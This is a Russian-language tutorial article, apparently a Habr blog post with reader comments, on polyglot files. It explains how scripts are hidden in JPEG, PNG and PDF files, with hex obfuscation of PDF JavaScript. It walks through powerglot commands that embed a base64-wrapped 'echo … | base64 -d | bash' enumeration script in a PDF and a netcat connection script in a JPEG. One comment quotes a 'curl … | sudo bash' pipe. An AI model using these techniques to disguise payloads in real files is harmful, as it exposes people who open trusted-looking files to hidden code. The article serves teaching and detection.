Конечно, угроза безопасности звучит очень пафосно, тем более для милого котика, смотрящего на вас с JPEG изображения, но среди его байт легко мог затеряться вредоносный скрипт. Давайте разберёмся, что к чему.

Что такое полиглоты и как они работают

Файл-полиглот - это файл, который меняет свой тип в зависимости от контекста использования. Чтобы лучше понять суть можно привести следующий пример — файл JPEG изображения, который также содержит в себе эксплоит для сканирования информации о компьютере на Линуксе. И в зависимости от способа использования данного полиглота изменится и его тип, это достигается за счет сохранение сигнатурных байтов, с помощью которых различные системы способны определить расширение файла.
Некоторые примеры сигнатурных байтов:

  • JPEG файлы — начинаются с FF D8 и кончаются FF D9

  • PDF файлы — начинаются с “%PDF” (в hex формате — 25 50 44 46)

Основное множество полиглотов содержит в себе код, написанный на одном языке программирования. Чаще всего они используются для обхода защиты, которая основана на расширении файлов — пользователю скорее представится возможность загрузить файл с расширением JPEG, PNG и PDF, нежели с потенциально опасными JS, SH и HTML.

Прочитать больше про полиглоты можно например здесь или здесь.

Принципы создания полиглотов различных форматов

Так как каждое расширение файлов имеет уникальную структуру и ключевые, важные элементы, которые должны обязательно присутствовать, значит для каждого типа существует свой способ инъекции эксплоитов. Я не буду рассматривать структуры форматов, а лишь затрону как происходит внедрение кода, но если кому-то все же станет интересно, как они работают, вот отличные статьи на хабре о некоторых из них:
- Декодирование JPEG для чайников
- PNG — not GIF!

Формат JPEG

При сокрытии эксплоитов в JPEG используется метод изменения структуры, который заключается в изменении значение длины (length) на необходимое количество байтов.
Первичная структура файла:

Пример изначального содержания
Пример изначального содержания

После изменения значения в файле появляется дополнительное место, в которое можно поместить эксплоит:

Пример измененного содержания
Пример измененного содержания

Формат PNG

Из-за того, что структура PNG файла представляет из себя последовательность чанков, то в основном, для сокрытия нужной информации, используется метод добавления нового чанка после IHDR. Первичная структура файла:

Структура до изменения
Структура до изменения

Необходимо добавить чанк tEXt, позволяющий записать в него скрываемую информацию, в нашем случае JS + HTML эксплоит:

Структура после изменения
Структура после изменения

Формат PDF

Часто используются различные методы редактирования строк. Обычно, каждая строка заключена в круглые скобки, но злоумышленнику ничего не мешает записать ее в виде “столбика” или заменить каждый символ строки его восьмеричным или шестнадцатеричным представлением, причем числа можно разделять пробелами неограниченное количество раз.

Также, в PDF можно «прятать» JS эксплоиты с помощью /JavaScript /JS объектов, которые сами могут содержать исполняемый код, так и могут отсылать на другой JS объект.

В дополнение к выше перечисленным способам для скрытия эксплойтов можно запутать код с помощью hex последовательностей, в которых, например, /JavaScript может превратиться в /J#61#76#61Script. (При конвертации из hex в текст получим a = 61, v = 76, a = 61)

Работа с полиглотами

После краткой теоретической части можно перейти к захватывающей практике.
Сейчас мы попробуем создать и открыть полиглоты различными способами, а также проанализируем файлы на наличие полиглотных сигнатур.

Для наглядности и понятности глава разделена по пунктам с названиями объединённых расширений, внутри которых присутствуют шаги по созданию*, запуску и обнаружению* полиглотов.

* - В ходе создания и обнаружения полиглотов будет использована утилита powerglot

PDF + Bash

Создание полиглота

Первый шаг – работа со скриптом. Выбираем необходимый эксплоит на основе Bash языка (я буду использовать скрипт - Local Linux Enumeration & Privilege Escalation Script, он есть в файлах утилиты powerglot), кодируем его с помощью base64 и записываем в исполняемый файл формата .sh.

base64 ./расположение/скрипта -w 0 > b64.sh
Кодирование эксплоита в base64
Кодирование эксплоита в base64

Теперь нам нужно отредактировать содержимое файла так, чтобы base64 код мог раскодироваться в исходный код и выполниться командой bash. Для этого нам нужно обернуть закодированную цепочку в следующие команды:

echo “здесь располагается скрипт в base64“ | base64 -d | bash;
  • echo – отправка содержимого в терминал;

  • base 64 -d – произвести декодинг из base64;

  • bash – запустить скрипт.

Вот такой должен получиться результат:

Содержимое отредактированного файла со скриптом
Содержимое отредактированного файла со скриптом

Второй шаг – объединение отредактированного скрипта и PDF. Это действие осуществляется с помощью функции утилиты Powerglot:

python3 powerglot.py -o ./путь_1/b64.sh ./путь_2/test.PDF OUTPUT
  • ключ -o – функция кодирования скрипта в файл;

  • ./путь_1/b64.sh – путь до скрипта;

  • ./путь_2/test.PDF – путь до файла, в который кодируется скрипт, в данном случае, с расширением PDF;

  • OUTPUT – название файла, с закодированным в него скриптом (результат),
    его расширение зависит от файла, в который производилась кодировка.

После этого мы получаем готовый полиглот, который уже кое-что умеет.

Проверка и запуск полиглота

На рисунке можно увидеть, что при открытии PDF файла и просмотре его с помощью команд в терминале никаких аномалий не обнаружено.

Первичный осмотр полиглота
Первичный осмотр полиглота

Срабатывание скрипта из полиглота вызывается открытием его в терминале (предварительно дав файлу разрешение на запуск).

Срабатывание эксплоита выводит в консоль детальную информацию о хосте —
ОС, файловая система, установленные программы и так далее.

Запуск PDF полиглота
Запуск PDF полиглота

В довесок ко всему выше проделанному, утилита Powerglot имеет функцию обнаружения полиглотов, проверяя определенные байты информации по известным шаблонам, в которых может оказаться подозрительное содержимое, а также способна отделять стегосплоиты (stegosploit — тема для отдельной статьи) от обычных полиглотов, функция продемонстрирована на рисунке ниже. Но в случае проверки директории после создания PDF полиглота программа не фиксирует его за вредоносный файл, хотя сама его и создала.

Запуск обнаружения полиглотов утилитой Powerglot
Запуск обнаружения полиглотов утилитой Powerglot
  • ключ -d – функция обнаружения полиглотов;

JPEG + Bash

Создание полиглота

Первый шаг – аналогично процессу по созданию PDF полиглота, необходимо подготовить эксплоит. Создадим простой исполняемый файл, который подключает хост, открывший наш полиглот, к серверу и дает возможность отправки сообщений между ними. Это возможно благодаря утилите командной строки netcat. Она позволяет передавать и получать данные по сетевым соединениям используя сетевые протоколы.

Перейдем к созданию эксплоита:

echo "nc 127.0.0.1 4444" > netcat.sh
  • echo – отправка содержимого в терминал;

  • nc 127.0.0.1 4444 – подключение с помощью утилиты netcat (nc) к серверу, в данном случае к самому себе, через порт номер 4444;

  • ключ > – перенаправляет отправку содержимого командой echo из терминала в файл;

  • netcat.sh – результат создания файла, содержащего эксплоит.

Второй шаг – объединение полученного эксплоита с JPEG файлом. Как и при создании PDF полиглота, воспользуемся утилитой Powerglot:

python3 powerglot.py -o ./путь_1/nc.sh ./путь_2/cat.jpg OUTPUT
  • ключ -o – функция кодирования скрипта в файл;

  • ./путь_1/nc.sh – путь до скрипта;

  • ./путь_2/cat.jpg – путь до файла, в который кодируется скрипт, в данном случае, с JPEG расширением;

  • OUTPUT – название файла, с закодированным в него скриптом (результат), его расширение зависит от файла, в который производилась кодировка.

Проверка и запуск полиглота

Видно, что получившиеся изображение не имеет помех или аномалий.

Открытие полиглота на основе JPEG картинки
Открытие полиглота на основе JPEG картинки

Для проверки результата нужно запустить простенький «сервер» для приема и отправки сообщений на 4444 порту:

nc -nvlp 4444

Теперь, запустив полиглот в терминале, мы получаем связность между хостом и сервером, и можем обмениваться сообщениями. Это не приносит большого вреда, но сама концепция и принцип работы показывает на что могут быть способны полиглоты.

Запуск JPEG полиглота
Запуск JPEG полиглота
Запуск «сервера»
Запуск «сервера»

На этот раз, программа по обнаружению полиглотов, отметила наш только что созданный полиглот, как подозрительный.

Заключение

Полиглоты являются интересным концептом угрозы безопасности информации. Они точно способны воспользоваться не бдительными пользователями, но скорее всего современные средства защиты не позволят им широко разгуляться.

С полиглотами можно долго экспериментировать и даже постараться найти им полезное применение, которое не будет светить вам 273 статьей. ;)

В продолжение данной темы можно рассмотреть stegosploit'ы, это полиглоты, созданные благодаря тому, что браузерный эксплоит стеганографически кодируется в JPG или PNG изображение, затем полученный файл «сливается» с HTML страницей, содержащей JS декодер закодированного в изображение эксплойта, превращая файл в HTML+Image полиглот....

Но это уже совсем другая история!

Комментарии (9)


  1. AlexeyK77
    20.06.2023 17:16
    +7

    Не очень понятно, как этот эксплоит, даже зашитый в недра картинки или пдф-ника все-же запустится, даже с учетом назначения файлу признака исполнимости.
    Другое дело, что для обхода ДЛП-систем этот метод хорош, т.к. даже продвинутая длп система максимум может применить OCR на графический образ, в котором будут котики.


    1. vilgeforce
      20.06.2023 17:16

      Для обхода DLP полиглот-то не нужен. Попробуйте добавить зашифрованные данные без спецфических заголовков в конец любого файла


  1. anzay911
    20.06.2023 17:16
    +7

    предварительно дав файлу разрешение на запуск

    Вот досада-то какая.


    1. vovobot Автор
      20.06.2023 17:16
      +1

      К сожалению все так(

      Но если интересно, можете почитать про стегосплоиты, о которых я упомянул.
      Они запускаются автоматически, как только пользователь загружает страницу браузера, на которой находится стегосплоит, так как на сайте картинка перестает быть JPEG файлом, а становится HTML элементом. (это, конечно, если стегосплоит является JPEG + HTML полиглотом)


      1. Yak52
        20.06.2023 17:16
        +1

        Да нет, к счастью.


      1. Getequ
        20.06.2023 17:16

        Допустим права на файлик выдали - а как он запустится то? Это же не исполняемый файл. Или он просто носитель кода и что бы его выполнить нужна инфраструктура которая ищет в "посылке" код и выполняет его?


    1. Nurked
      20.06.2023 17:16

      Линукс очень медленно и неверно шагает на десктоп. Так что можно ванговать картинки типа "Вы близко! Разрешите исполнение этого файла чтобы получить $unlimited прямо сейчас!"


      1. Nurked
        20.06.2023 17:16

        Или "Поздравляю! Добро пожаловать в Gogle! Для получения позиции в нашей компании, заполните это резюме. Оно содержит скрепт для отправки донных на наш сервир, так што разрешите изполнения файла"


        1. iig
          20.06.2023 17:16

          А как же каноническое

          curl https://some.sheet.url | sudo bash -